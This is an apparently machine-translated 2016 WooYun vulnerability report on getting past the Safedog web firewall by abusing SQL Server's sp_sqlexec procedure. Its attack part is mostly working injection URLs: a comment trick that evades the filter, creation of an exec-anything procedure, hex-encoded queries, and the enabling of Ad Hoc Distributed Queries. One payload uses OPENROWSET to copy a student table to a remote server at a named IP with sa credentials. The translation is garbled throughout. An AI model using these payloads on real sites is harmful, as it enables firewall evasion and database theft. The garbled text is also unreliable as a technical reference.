一次有趣的过狗经历(sql server特性利用)

漏洞标题 一次有趣的过狗经历(sql server特性利用) 相关厂商 安全狗 漏洞作者 niexinming 提交时间 2016-05-05 22:02 公开时间 2016-06-20 11:10 …

从对等方接收数据时失败 如果基于ODBC或OLE DB API的应用程序尝试执行GO命令,则会收到语法错误。 SQL Server实用程序从不向服务器发送GO命令。 所以在我不能使用go后,我一直在寻找一种方法来最终在系统中找到一个存储过程来扩展存储过程: Sp_sqlexec 查看此存储过程的源代码: 使用[学生] 走 /******对象: StoredProcedure [sys]。[sp_sqlexec]脚本日期: 2016/5/5 17: 49: 14 ****** / SET ANSI_NULLS ON 走 SET QUOTED_IDENTIFIER ON 走 ALTER procedure [sys]。[sp_sqlexec] @ p1 text as 声明@execstr nvarchar(max) 设置@execstr=CONVERT(nvarchar(max),@ p1) EXEC(@execstr) 满足我的要求: 然后: http://localhost/test.aspx?type=1; EXEC student.sp_sqlexec'CREATE PROCEDURE myexec(@s VARCHAR(1024))as exec(@s)' 然而,它被安全犬拦截。

但我改变它,可爱的小狗不会停止。 http://localhost/test.aspx?type=1; EXEC/*(*/student.sp_sqlexec'CREATE PROCEDURE myexec(@s VARCHAR(1024))as exec(@s)' 然后发现:

然后,由于存储过程已建立,这意味着您可以随意执行sql语句: 我们可以像这样执行sql语句: http://localhost/test.aspx?type=1; exec/*(*/myexec0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 安全犬根本不会拦截 如何使用它? 首先,你可以打开xp_cmdshell系统存储过程,并获得系统权限,你也可以以dns的方式拖动一小部分数据 但是今天,我想介绍一种新的玩法:远程裤子 首先,这个注入点的权限很高,sql server dba的权限 然后我们要尝试打开sql server的远程调用: [1] exec  sp_configure 'show advanced options',1 [2]重新配置 [3] exec  sp_configure 'Ad Hoc Distributed Queries',1  [4]重新配置 相应的利用过程是: 从对等方接收数据时失败 然后我在注入点执行这样的声明: http://localhost/test.aspx type=1; EXEC/*(*/myexec0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475

好的,愉快地拖出数据。 漏洞证明:

修理计划: 过滤 版权声明:请注明来源niexinming @乌云